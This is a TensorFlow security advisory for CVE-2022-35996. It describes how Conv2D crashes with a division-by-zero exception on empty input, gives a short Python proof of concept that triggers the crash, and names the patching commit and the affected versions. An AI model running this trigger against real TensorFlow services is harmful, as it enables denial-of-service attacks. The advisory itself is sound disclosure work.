Conv2D
CVE-2022-35996
If Conv2D
is given empty input
and the filter
and padding
sizes are valid, the output is all-zeros. This causes division-by-zero floating point exceptions that can be used to trigger a denial of service attack.
import tensorflow as tf import numpy as np with tf.device("CPU"): # also can be triggerred on GPU input = np.ones([1, 0, 2, 1]) filter = np.ones([1, 1, 1, 1]) strides = ([1, 1, 1, 1]) padding = "EXPLICIT" explicit_paddings = [0 , 0, 1, 1, 1, 1, 0, 0] data_format = "NHWC" res = tf.raw_ops.Conv2D( input=input, filter=filter, strides=strides, padding=padding, explicit_paddings=explicit_paddings, data_format=data_format, )
We have patched the issue in GitHub commit 611d80db29dd7b0cfb755772c69d60ae5bca05f9.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
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This vulnerability has been reported by Jingyi Shi.